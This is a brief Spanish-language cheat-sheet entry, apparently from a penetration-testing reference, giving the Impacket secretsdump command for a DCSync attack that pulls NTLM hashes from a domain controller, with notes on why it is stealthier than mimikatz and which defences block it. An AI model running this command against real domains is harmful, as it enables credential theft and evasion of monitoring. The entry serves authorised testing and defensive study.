Impacket secretsdump (DCSync)

secretsdump.py <domain>/<user>:'<pass>'@<dc-ip> -just-dc

Obtiene hashes NTLM del controlador de dominio usando DCSync desde Linux.

Cuando tienes credenciales de administrador de dominio y quieres extraer hashes sin usar mimikatz. Es más sigiloso que ejecutar mimikatz en el DC porque se ejecuta desde un host Linux y no deja procesos sospechosos en el objetivo.

Si el DC tiene políticas de restricción de replicación o SMB signing obligatorio. También si el EDR del DC detecta autenticaciones desde IPs no esperadas.